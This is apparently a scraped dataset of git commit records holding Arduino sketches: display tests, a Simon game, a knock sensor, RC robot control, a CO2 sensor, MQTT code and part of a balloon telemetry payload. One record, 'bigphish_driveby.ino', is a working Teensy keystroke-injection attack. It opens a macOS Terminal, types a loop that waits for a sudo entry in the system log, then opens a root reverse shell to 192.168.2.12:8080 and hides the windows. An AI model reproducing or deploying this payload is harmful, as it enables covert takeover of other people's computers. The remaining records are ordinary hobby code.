\n}\n\nvoid testtriangles() {\n tft.fillScreen(BLACK);\n int color = 0xF800;\n int t;\n int w = tft.width()\/2;\n int x = tft.height();\n int y = 0;\n int z = tft.width();\n for(t = 0 ; t <= 15; t+=1) {\n tft.drawTriangle(w, y, y, x, z, x, color);\n x-=4;\n y+=4;\n z-=4;\n color+=100;\n }\n}\n\nvoid testroundrects() {\n tft.fillScreen(BLACK);\n int color = 100;\n \n int x = 0;\n int y = 0;\n int w = tft.width();\n int h = tft.height();\n for(int i = 0 ; i <= 24; i++) {\n tft.drawRoundRect(x, y, w, h, 5, color);\n x+=2;\n y+=3;\n w-=4;\n h-=6;\n color+=1100;\n }\n}\n\nvoid tftPrintTest() {\n tft.fillScreen(BLACK);\n tft.setCursor(0, 5);\n tft.setTextColor(RED); \n tft.setTextSize(1);\n tft.println(\"Hello World!\");\n tft.setTextColor(YELLOW);\n tft.setTextSize(2);\n tft.println(\"Hello World!\");\n tft.setTextColor(BLUE);\n tft.setTextSize(3);\n tft.print(1234.567);\n delay(1500);\n tft.setCursor(0, 5);\n tft.fillScreen(BLACK);\n tft.setTextColor(WHITE);\n tft.setTextSize(0);\n tft.println(\"Hello World!\");\n tft.setTextSize(1);\n tft.setTextColor(GREEN);\n tft.print(p, 6);\n tft.println(\" Want pi?\");\n tft.println(\" \");\n tft.print(8675309, HEX); \/\/ print 8,675,309 out in HEX!\n tft.println(\" Print HEX!\");\n tft.println(\" \");\n tft.setTextColor(WHITE);\n tft.println(\"Sketch has been\");\n tft.println(\"running for: \");\n tft.setTextColor(MAGENTA);\n tft.print(millis() \/ 1000);\n tft.setTextColor(WHITE);\n tft.print(\" seconds.\");\n}\n\nvoid mediabuttons() {\n \/\/ play\n tft.fillScreen(BLACK);\n tft.fillRoundRect(25, 10, 78, 60, 8, WHITE);\n tft.fillTriangle(42, 20, 42, 60, 90, 40, RED);\n delay(500);\n \/\/ pause\n tft.fillRoundRect(25, 90, 78, 60, 8, WHITE);\n tft.fillRoundRect(39, 98, 20, 45, 5, GREEN);\n tft.fillRoundRect(69, 98, 20, 45, 5, GREEN);\n delay(500);\n \/\/ play color\n tft.fillTriangle(42, 20, 42, 60, 90, 40, BLUE);\n delay(50);\n \/\/ pause color\n tft.fillRoundRect(39, 98, 20, 45, 5, RED);\n tft.fillRoundRect(69, 98, 20, 45, 5, RED);\n \/\/ play color\n tft.fillTriangle(42, 20, 42, 60, 90, 40, GREEN);\n}\n\n\/**************************************************************************\/\n\/*! \n @brief Renders a simple test pattern on the LCD\n*\/\n\/**************************************************************************\/\nvoid lcdTestPattern(void)\n{\n uint32_t i,j;\n tft.goTo(0, 0);\n \n for(i=0;i<128;i++)\n {\n for(j=0;j<128;j++)\n {\n if(i<16){tft.writeData(RED>>8);tft.writeData(RED);}\n else if(i<32){tft.writeData(YELLOW>>8);tft.writeData(YELLOW);}\n else if(i<48){tft.writeData(GREEN>>8);tft.writeData(GREEN);}\n else if(i<64){tft.writeData(CYAN>>8);tft.writeData(CYAN);}\n else if(i<80){tft.writeData(BLUE>>8);tft.writeData(BLUE);}\n else if(i<96){tft.writeData(MAGENTA>>8);tft.writeData(MAGENTA);}\n else if(i<112){tft.writeData(BLACK>>8);tft.writeData(BLACK);}\n else {tft.writeData(WHITE>>8);tft.writeData(WHITE);}\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/test\/test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b673f98686c997d389e5b5b5687283a32b73cedd","subject":"Teensy PoC","message":"Teensy PoC","repos":"Psychotrope37\/bigphish","old_file":"bigphish_driveby.ino","new_file":"bigphish_driveby.ino","new_contents":"\n\/\/quick and dirty port using some of samy's code from USBdriverby as a framework for PoC\n\/\/tested working on teensy 3.1\nvoid mod(int mod, int key)\n{\n Keyboard.set_modifier(mod);\n Keyboard.send_now();\n Keyboard.set_key1(key);\n Keyboard.send_now();\n delay(100);\n\n Keyboard.set_modifier(0);\n Keyboard.set_key1(0);\n Keyboard.send_now();\n delay(100);\n}\nvoid ctrl(int key)\n{\n mod(MODIFIERKEY_CTRL, key);\n}\n\nvoid cmd(int key)\n{\n mod(MODIFIERKEY_GUI, key);\n}\n\nvoid shift(int key)\n{\n mod(MODIFIERKEY_SHIFT, key);\n}\n\nint led = 13; \n\nvoid setup () \n{ \n pinMode(led, OUTPUT);\n digitalWrite(led, HIGH); \n delay(500); \n digitalWrite(led, LOW); \n delay(500); \n digitalWrite(led, HIGH); \n delay(500); \n digitalWrite(led, LOW); \n delay(500); \n digitalWrite(led, HIGH); \n delay(500); \n digitalWrite(led, LOW); \n delay(500); \n cmd(KEY_SPACE);\n \/\/open spotlight\n delay(1000);\n Keyboard.println(\"Terminal\");\n delay(1000);\n Keyboard.write(KEY_RETURN);\n \/\/open terminal\n delay(1000);\n cmd(KEY_N);\n \/\/open a new window\n delay(1000);\n Keyboard.println(\"tail -F -n 0 \/var\/log\/system.log | grep --line-buffered sudo | while read ; do while true; do sudo bash -i >& \/dev\/tcp\/192.168.2.12\/8080 0>&1; done; done\");\n \/\/configured for localhost callback on 8080; modify with bigphish output\n delay(10);\n cmd(KEY_M);\n \/\/hide all terminal windows\n digitalWrite(led, HIGH); \n delay(500); \n digitalWrite(led, LOW); \n delay(500); \n digitalWrite(led, HIGH); \n delay(500); \n digitalWrite(led, LOW); \n delay(500); \n digitalWrite(led, HIGH); \n delay(500); \n digitalWrite(led, LOW);\n}\n\nvoid loop() {\n \/\/do nothing\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bigphish_driveby.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1afb7e2977e07027c15049daca982dde6aa2dae6","subject":"Add Simon game","message":"Add Simon game\n","repos":"makesaltlake\/arduino-games,makesaltlake\/arduino-games","old_file":"simon\/simon.ino","new_file":"simon\/simon.ino","new_contents":"const int pinLED = 13;\n\nconst int pinLightL = 3;\nconst int pinLightM = 4;\nconst int pinLightR = 5;\n\nconst int pinButtonL = 22;\nconst int pinButtonM = 21;\nconst int pinButtonR = 20;\n\nint memorize[100];\n\nvoid clear_memory() {\n for (int i = 0; i < 100; i++) {\n memorize[i] = 0;\n }\n}\n\nint get_pressed_button_id() {\n if (digitalRead(pinButtonL) == HIGH) return 1;\n if (digitalRead(pinButtonM) == HIGH) return 2;\n if (digitalRead(pinButtonR) == HIGH) return 3;\n return 0;\n}\n\nvoid on(int light_id) {\n switch(light_id) {\n case 0: off(); break;\n case 1: digitalWrite(pinLightL, HIGH); break;\n case 2: digitalWrite(pinLightM, HIGH); break;\n case 3: digitalWrite(pinLightR, HIGH); break;\n }\n}\n\nvoid off() {\n digitalWrite(pinLightL, LOW);\n digitalWrite(pinLightM, LOW);\n digitalWrite(pinLightR, LOW);\n}\n\nint random_light() {\n return 1 + random(3); \/\/ returns a number between 1 and 3\n}\n\nvoid flash_three_times() {\n off();\n for (int i = 0; i < 3; i++) {\n on(1); on(2); on(3);\n delay(200);\n off();\n delay(200);\n }\n delay(1000);\n}\n\nvoid setup() {\n randomSeed(analogRead(0));\n\n pinMode(pinLED, OUTPUT);\n\n pinMode(pinButtonL, INPUT);\n pinMode(pinButtonM, INPUT);\n pinMode(pinButtonR, INPUT);\n\n pinMode(pinLightL, OUTPUT);\n pinMode(pinLightM, OUTPUT);\n pinMode(pinLightR, OUTPUT);\n \n clear_memory();\n \n digitalWrite(pinLED, HIGH);\n delay(500);\n digitalWrite(pinLED, LOW);\n}\n\n#define STATE_GENERATE 0\n#define STATE_SHOW_LIGHTS 1\n#define STATE_READ_BUTTONS 2\n#define STATE_WAIT_BUTTON_RELEASE 3\n\nint level_max_so_far = 0;\nint level_current = 0;\n\nint state = STATE_GENERATE;\nint selected_light_id = 0;\n\nvoid loop() {\n switch(state) {\n case STATE_GENERATE:\n \/\/ For each level, add one more random light to the list\n \/\/ of memorized lights:\n memorize[level_max_so_far] = random_light();\n level_max_so_far++;\n level_current = 0;\n state = STATE_SHOW_LIGHTS;\n \n case STATE_SHOW_LIGHTS:\n on(memorize[level_current]);\n delay(750);\n off();\n delay(500);\n \n level_current++;\n if (level_current == level_max_so_far) {\n level_current = 0;\n state = STATE_READ_BUTTONS;\n }\n break;\n \n case STATE_READ_BUTTONS:\n selected_light_id = get_pressed_button_id();\n if (selected_light_id != 0) { \/\/ at least one button is pressed\n \/\/ Show the corresponding LED to the button that was pressed\n off(); on(selected_light_id); delay(200);\n off(); delay(300);\n if (memorize[level_current] != selected_light_id) {\n \/\/ uh oh! they didn't press the right button\n flash_three_times();\n level_current = 0;\n state = STATE_SHOW_LIGHTS;\n } else {\n level_current++;\n if (level_current == level_max_so_far) {\n \/\/ Yay! they got the sequence so far\n level_current = 0;\n state = STATE_GENERATE;\n } else {\n state = STATE_WAIT_BUTTON_RELEASE;\n }\n }\n }\n break;\n\n case STATE_WAIT_BUTTON_RELEASE:\n \/\/ Wait for the button to be released\n off();\n delay(100);\n if (get_pressed_button_id() == 0) {\n state = STATE_READ_BUTTONS;\n }\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simon\/simon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ff0915a061e9766916292f5a5b1e7c3a5058eb9","subject":"Add template program - needs testing with piezo","message":"Add template program - needs testing with piezo\n","repos":"ayocom\/spice-arduino,agoering\/spice-arduino","old_file":"Pinball Template\/pinball_template\/pinball_template.ino","new_file":"Pinball Template\/pinball_template\/pinball_template.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pinball' did not match any file(s) known to git\nerror: pathspec 'Template\/pinball_template\/pinball_template.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc93701cb8c0c83888c2c2d97e7a22270616aa27","subject":"back to this test","message":"back to this test\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"0e6629b8fe8599da5393d7b70342b98099aff015","subject":"knock","message":"knock\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"KnockSensor\/KnockSensor.ino","new_file":"KnockSensor\/KnockSensor.ino","new_contents":"\/\/ https:\/\/www.arduino.cc\/en\/Tutorial\/Knock\n\n\/* Knock Sensor\n\n This sketch reads a piezo element to detect a knocking sound.\n It reads an analog pin and compares the result to a set threshold.\n If the result is greater than the threshold, it writes\n \"knock\" to the serial port, and toggles the LED on pin 13.\n\n The circuit:\n * + connection of the piezo attached to analog in 0\n * - connection of the piezo attached to ground\n * 1-megohm resistor attached from analog in 0 to ground\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/Knock\n\n created 25 Mar 2007\n by David Cuartielles <http:\/\/www.0j0.org>\n modified 30 Aug 2011\n by Tom Igoe\n\n This example code is in the public domain.\n\n *\/\n\n\n\/\/ these constants won't change:\nconst int ledPin = 13; \/\/ led connected to digital pin 13\nconst int knockSensor = A0; \/\/ the piezo is connected to analog pin 0\nconst int threshold = 100; \/\/ threshold value to decide when the detected sound is a knock or not\n\n\n\/\/ these variables will change:\nint sensorReading = 0; \/\/ variable to store the value read from the sensor pin\nint ledState = LOW; \/\/ variable used to store the last LED status, to toggle the light\n\nvoid setup() {\n pinMode(ledPin, OUTPUT); \/\/ declare the ledPin as as OUTPUT\n Serial.begin(9600); \/\/ use the serial port\n}\n\nvoid loop() {\n \/\/ read the sensor and store it in the variable sensorReading:\n sensorReading = analogRead(knockSensor);\n\n \/\/ if the sensor reading is greater than the threshold:\n if (sensorReading >= threshold) {\n \/\/ toggle the status of the ledPin:\n ledState = !ledState;\n \/\/ update the LED pin itself:\n digitalWrite(ledPin, ledState);\n \/\/ send the string \"Knock!\" back to the computer, followed by newline\n Serial.println(\"Knock!\");\n }\n delay(100); \/\/ delay to avoid overloading the serial port buffer\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'KnockSensor\/KnockSensor.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"37bcc2b8426d2c25b75e5eeecfd4b639915bbc69","subject":"Nightly","message":"Nightly\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/POC\/wifi-led-something\/wifi-led-something.ino","new_file":"projects\/POC\/wifi-led-something\/wifi-led-something.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"46b9a0cfead1e6061599e7b8eeb837a852147bf6","subject":"Create ethernet.ino","message":"Create ethernet.ino","repos":"lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15","old_file":"Arduino Code\/masterCode\/ethernet.ino","new_file":"Arduino Code\/masterCode\/ethernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"0d1643899ecd8eecfa0d71db61cf9e240ef9e521","subject":"added RCControl example","message":"added RCControl example\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"ZumoExamples\/examples\/RCControl\/RCControl.ino","new_file":"ZumoExamples\/examples\/RCControl\/RCControl.ino","new_contents":"#include <ZumoMotors.h>\n\n#define THROTTLE_PIN 4 \/\/ throttle channel from RC receiver\n#define STEERING_PIN 5 \/\/ steering channel from RC receiver\n#define LED_PIN 13 \/\/ user LED pin\n\n#define MAX_SPEED 400 \/\/ max motor speed\n#define PULSE_WIDTH_DEADBAND 25 \/\/ pulse width difference from 1500 us (microseconds) to ignore (to compensate for control centering offset)\n#define PULSE_WIDTH_RANGE 350 \/\/ pulse width difference from 1500 us to be treated as full scale input (for example, a value of 350 means\n \/\/ any pulse width <= 1150 us or >= 1850 us is considered full scale)\n\n\nvoid setup()\n{\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ uncomment one or both of the following lines if your motors' directions need to be flipped\n \/\/motors.flipLeftMotor(true);\n \/\/motors.flipRightMotor(true);\n}\n\nvoid loop()\n{\n int throttle = pulseIn(THROTTLE_PIN, HIGH);\n int steering = pulseIn(STEERING_PIN, HIGH);\n\n int left_speed, right_speed;\n\n if (throttle > 0 && steering > 0)\n {\n \/\/ both RC signals are good; turn on LED\n digitalWrite(LED_PIN, HIGH);\n\n \/\/ RC signals encode information in pulse width centered on 1500 us (microseconds); subtract 1500 to get a value centered on 0\n throttle -= 1500;\n steering -= 1500;\n\n \/\/ apply deadband\n if (abs(throttle) <= PULSE_WIDTH_DEADBAND)\n throttle = 0;\n if (abs(steering) <= PULSE_WIDTH_DEADBAND)\n steering = 0;\n\n \/\/ mix throttle and steering inputs to obtain left & right motor speeds\n left_speed = ((long)throttle * MAX_SPEED \/ PULSE_WIDTH_RANGE) - ((long)steering * MAX_SPEED \/ PULSE_WIDTH_RANGE);\n right_speed = ((long)throttle * MAX_SPEED \/ PULSE_WIDTH_RANGE) + ((long)steering * MAX_SPEED \/ PULSE_WIDTH_RANGE);\n\n \/\/ cap speeds to max\n left_speed = min(max(left_speed, -MAX_SPEED), MAX_SPEED);\n right_speed = min(max(right_speed, -MAX_SPEED), MAX_SPEED);\n }\n else\n {\n \/\/ at least one RC signal is not good; turn off LED and stop motors\n digitalWrite(LED_PIN, LOW);\n\n left_speed = 0;\n right_speed = 0;\n }\n\n ZumoMotors::setSpeeds(left_speed, right_speed);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZumoExamples\/examples\/RCControl\/RCControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd361699ce17fae8c0d270d66c6dc7a6a57dfcba","subject":"Revert \"Accidentally update Keypad1 to drive the stepper\"","message":"Revert \"Accidentally update Keypad1 to drive the stepper\"\n\nThis reverts commit a7546e99dfdf3bc899e70e5e3a5be5dcdf780129.","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Keypad1\/Keypad1.ino","new_file":"Keypad1\/Keypad1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"138c4707bace828e88151e41c137aab78d2b0ac1","subject":"Add NFC-test","message":"Add NFC-test\n\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"NFC-test\/NFC-test.ino","new_file":"NFC-test\/NFC-test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ea9a494ffb8bbbfb2cf3644edc364989b174d993","subject":"CO2_SENSOR_ADUINO","message":"CO2_SENSOR_ADUINO\n","repos":"yunjoo0510\/jjoo","old_file":"CO2_SENSOR_ADUINO.ino","new_file":"CO2_SENSOR_ADUINO.ino","new_contents":"void setup() {\n Serial.begin(9600);\n\n}\n\nvoid loop() {\n double CO2;\n int real_CO2;\n double Temp;\n double CO2_Value=0;\n double Temp_Value=0;\n\n for(int x=0; x<=100; x++)\n {\n CO2_Value = CO2_Value+analogRead(A0);\n }\n CO2_Value = CO2_Value\/100.0;\n CO2= CO2_Value\/1024*5.0;\n CO2= (int)((CO2*3000)\/3);\n real_CO2=CO2;\n\n\n for(int x=0; x<=100; x++)\n {\n Temp_Value = Temp_Value + analogRead(A1);\n }\n Temp_Value = Temp_Value \/ 100.0;\n Temp = Temp_Value\/1024*5.0;\n Temp = (Temp*50)\/3;\n\n\n \/\/ Serial.print(\"CO2 = \");\n Serial.print(real_CO2);\n \/\/ Serial.println(\"ppm\");\n \/\/ Serial.print(\"Temp = \");\n \/\/ Serial.print(Temp);\n \/\/ Serial.print(\"C\");\n \/\/ Serial.print(\"\\n\\n\");\n delay(2000);\n \n }\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CO2_SENSOR_ADUINO.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c029323341b6577ca0ba55857b12e8c8f92eda8f","subject":"Added mqtt yun wifi","message":"Added mqtt yun wifi\n","repos":"theThings\/arduino-examples,theThings\/thethingsio-arduino-library,theThings\/thethingsio-arduino-library,theThings\/arduino-examples,theThings\/thethingsio-arduino-library,theThings\/arduino-examples","old_file":"thethingsiO_Yun\/thethingsiO_Yun.ino","new_file":"thethingsiO_Yun\/thethingsiO_Yun.ino","new_contents":"#include <YunClient.h>\n#include <Bridge.h>\n#include <PubSubClient.h>\n#include <Process.h>\n\n#define TOKEN \"yourtoken\"\n\nYunClient wificlient;\n\nString topic = \"v2\/things\/\" + String(TOKEN);\nString message = \"\";\nboolean firstValue = true;\n\nbool isGeo(double lon, double lat) {\n return lon >= -180 && lon <= 180 && lat >= -90 && lat >= 90;\n}\n\nString geoJSON(double lon, double lat) {\n return \"\\\"geo\\\":{\\\"lat\\\":\" + String(lat, 7) + \",\\\"long\\\":\" + String(lon, 7) + \"}\";\n}\n\n\nvoid addValue(String key, int value, double lat, double lon) {\n if (firstValue == true) {\n firstValue = false;\n message.concat(\"{\\\"key\\\":\\\"\" + key + \"\\\",\\\"value\\\":\" + value +(isGeo(lon, lat) ? \",\" + geoJSON(lon, lat) : \"\")+\"}\");\n }\n else {\n message.concat(\",{\\\"key\\\":\\\"\" + key + \"\\\",\\\"value\\\":\" + value +(isGeo(lon, lat) ? \",\" + geoJSON(lon, lat) : \"\") +\"}\");\n }\n}\n\nvoid addValue(String key, int value) {\n if (firstValue == true) {\n firstValue = false;\n message.concat(\"{\\\"key\\\":\\\"\" + key + \"\\\",\\\"value\\\":\" + value+\"}\");\n }\n else {\n message.concat(\",{\\\"key\\\":\\\"\" + key + \"\\\",\\\"value\\\":\" + value+\"}\");\n }\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n \/\/ handle message arrived\n String text = \"\";\n for (int i = 0; i < length; i++)\n text.concat((char)payload[i]);\n text.replace(\" \", \"\");\n Serial.println(text);\n \n}\n\nPubSubClient mqtt(\"mqtt.thethings.io\", 1883, callback, wificlient);\n\nvoid publish() {\n String toSend = \"{\\\"values\\\":[\" + message + \"]}\";\n mqtt.publish((char*)topic.c_str(), (char*)toSend.c_str());\n message= \"\";\n firstValue = true;\n Serial.println(\"Published\");\n}\n\nvoid setup() {\n Serial.begin(9600); \n while(!Serial);\n Bridge.begin();\n while (!mqtt.connect(\"Yunclient\")) {\n Serial.println(\"Could not subscribe, retrying...\");\n }\n Serial.println(\"Client connected to mqtt broker!\");\n mqtt.subscribe((char*)topic.c_str());\n}\n\nvoid loop() {\n \/* Process wifiCheck;\n wifiCheck.runShellCommand(\"\/usr\/bin\/pretty-wifi-info.lua\");\n while (wifiCheck.available() > 0) {\n char c = wifiCheck.read();\n Serial.print(c);\n }\n\n Serial.println();\n\n delay(000);\n \/\/ put your main code here, to run repeatedly:\n *\/\n mqtt.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'thethingsiO_Yun\/thethingsiO_Yun.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"002f2385622ffb183faefb5a8f2fe40d97115fef","subject":"Original picofalcon payload software","message":"Original picofalcon payload software\n","repos":"bertrik\/picoballoon","old_file":"V1_0.ino","new_file":"V1_0.ino","new_contents":"#include <avr\/io.h>\n#include <avr\/interrupt.h>\n#include <util\/crc16.h>\n#include <SPI.h>\n#include <RFM22.h>\n#include <TinyGPS.h>\n \n#define ASCII 7 \/\/ ASCII 7 or 8\n#define STOPBITS 2 \/\/ Either 1 or 2\n#define TXDELAY 0 \/\/ Delay between sentence TX's\n#define RTTY_BAUD 50 \/\/ Baud rate for use with RFM22B Max = 600\n#define RADIO_FREQUENCY 434.160\n\n\n#define RFM22B_SDN 8\n#define RFM22B_PIN 10\n#define LED 7\n\nchar callsign[8] = \"pFALCON\"; \/\/Callsign\n\nchar datastring[80];\nchar txstring[80];\nvolatile int txstatus=1;\nvolatile int txstringlength=0;\nvolatile char txc;\nvolatile int txi;\nvolatile int txj;\nunsigned int count=0;\n \nTinyGPS gps;\nrfm22 radio1(RFM22B_PIN);\n\nconst int analogInPin = A0;\nint sensorValue = 0;\nfloat actualValue = 0.00;\nfloat divider = 1.8;\nchar voltage[6];\nint v1;\nint v2;\n\nfloat flat, flon = 0;\nunsigned long age;\nchar latbuf[12] = \"0\", lonbuf[12] = \"0\" ,altbuf[12] = \"0\";\nint hour = 0 , minute = 0 , second = 0, oldsecond = 0, sats = 0;\nunsigned long date, time;\nlong int ialt = 123;\n\nlong int ticks = 1;\n \nbyte gps_set_sucess = 0 ;\n\nbool newData = false;\n\nbool cBusy = true;\n\nbool reinit = false;\nbool reinit_done = false;\nint reinitcnt = 8;\nint reinitcntr = 0;\n \nvoid setup()\n{ \n pinMode(LED,OUTPUT);\n digitalWrite(LED, LOW);\n delay(500);\n digitalWrite(LED, HIGH);\n delay(500);\n \n initialise_interrupt();\n \n Serial.begin(9600);\n \n \/\/Setup GPS\n uint8_t setNav[] = {\n 0xB5, 0x62, 0x06, 0x24, 0x24, 0x00, 0xFF, 0xFF, 0x06, 0x03, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x05, 0x00, 0xFA,\n 0x00, 0xFA, 0x00, 0x64, 0x00, 0x2C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xDC};\n \n uint8_t ecoMode[] = {0xB5, 0x62, 0x06, 0x11, 0x02, 0x00, 0x00, 0x04, 0x1D, 0x85};\n \n while(!gps_set_sucess)\n {\n sendUBX(setNav, sizeof(setNav)\/sizeof(uint8_t));\n gps_set_sucess=getUBX_ACK(setNav);\n \/*sendUBX(ecoMode, sizeof(ecoMode)\/sizeof(uint8_t));\n gps_set_sucess&=getUBX_ACK(ecoMode);*\/\n }\n gps_set_sucess=0;\n \n digitalWrite(LED, LOW);\n delay(500);\n digitalWrite(LED, HIGH); \n delay(500);\n digitalWrite(LED, LOW);\n delay(500);\n digitalWrite(LED, HIGH); \n delay(500);\n digitalWrite(LED, LOW); \n \n while(sats < 6 && flat == 0)\n {\n while(Serial.available())\n {\n char c = Serial.read();\n newData = gps.encode(c);\n if(newData)\n {\n gps.f_get_position(&flat, &flon, &age);\n sats = gps.satellites();\n }\n }\n }\n \n setupGPSpower();\n delay(1000);\n \/\/Setup RFM22B\n setupRadio();\n}\n \nvoid loop()\n{\n unsigned long chars;\n unsigned short sentences, failed;\n \n while(Serial.available())\n {\n char c = Serial.read();\n if (gps.encode(c)) \/\/ Did a new valid sentence come in?\n newData = true;\n }\n \n if (newData)\n {\n digitalWrite(LED,HIGH);\n gps.f_get_position(&flat, &flon, &age);\n sats = gps.satellites();\n dtostrf(flat, 10, 6, latbuf);\n dtostrf(flon, 9, 6, lonbuf);\n if(lonbuf[0] == ' ')\n {\n lonbuf[0] = '+';\n }\n if(latbuf[0] == ' ')\n {\n latbuf[0] = '+';\n }\n ialt = (gps.altitude() \/ 100);\n if(ialt >= 0)\n {\n itoa(ialt, altbuf, 10);\n }\n \n gps.get_datetime(&date, &time, &age);\n hour = (time \/ 1000000);\n minute = ((time - (hour * 1000000)) \/ 10000);\n second = ((time - ((hour * 1000000) + (minute * 10000))));\n second = second \/ 100;\n \n sensorValue = analogRead(analogInPin); \n actualValue = (sensorValue \/ 1023.00) * divider;\n v1 = actualValue;\n v2 = (actualValue - v1) * 100;\n snprintf(voltage, 30, \"%i.%02i\", v1, v2);\n \n cBusy = true;\n sprintf(datastring,\"$$$$%s,%li,%02i:%02i:%02i,%s,%s,%s,%i,%s\",callsign,ticks,hour,minute,second,latbuf,lonbuf,altbuf,sats,voltage); \n unsigned int CHECKSUM = gps_CRC16_checksum(datastring); \/\/ Calculates the checksum for this datastring\n char checksum_str[6];\n sprintf(checksum_str, \"*%04X\\n\", CHECKSUM);\n strcat(datastring,checksum_str);\n cBusy = false;\n \n gps.stats(&chars, &sentences, &failed);\n \n }\n else\n {\n digitalWrite(LED,LOW);\n }\n if(reinit == true)\n {\n setupRadio();\n reinit = false;\n }\n \n}\n \nISR(TIMER1_COMPA_vect)\n{\n switch(txstatus) {\n case 0: \/\/ This is the optional delay between transmissions.\n txj++;\n if(txj>(TXDELAY*RTTY_BAUD)) {\n txj=0;\n txstatus=1;\n }\n break;\n case 1: \/\/ Initialise transmission, take a copy of the string so it doesn't change mid transmission.\n if(reinit == false)\n {\n if(cBusy == false)\n {\n if(reinitcntr == reinitcnt)\n {\n reinit = true;\n reinitcntr = 0;\n }\n else\n {\n strcpy(txstring,datastring);\n txstringlength=strlen(txstring);\n if(txstringlength != 0)\n txj=0;\n ticks++;\n txstatus=2;\n reinitcntr++;\n }\n }\n }\n break;\n case 2: \/\/ Grab a char and lets go transmit it.\n if ( txj < txstringlength)\n {\n txc = txstring[txj];\n txj++;\n txstatus=3;\n rtty_txbit (0); \/\/ Start Bit;\n txi=0;\n }\n else\n {\n txstatus=0; \/\/ Should be finished\n txj=0;\n }\n break;\n case 3:\n if(txi<ASCII)\n {\n txi++;\n if (txc & 1) rtty_txbit(1);\n else rtty_txbit(0); \n txc = txc >> 1;\n break;\n }\n else\n {\n rtty_txbit (1); \/\/ Stop Bit\n txstatus=4;\n txi=0;\n break;\n }\n case 4:\n if(STOPBITS==2)\n {\n rtty_txbit (1); \/\/ Stop Bit\n txstatus=2;\n break;\n }\n else\n {\n txstatus=2;\n break;\n }\n \n }\n}\n \nvoid rtty_txbit (int bit)\n{\n if (bit)\n {\n radio1.write(0x73,0x03); \/\/ High\n }\n else\n {\n radio1.write(0x73,0x00); \/\/ Low\n }\n}\n\nvoid setupGPSpower() {\n \/\/Set 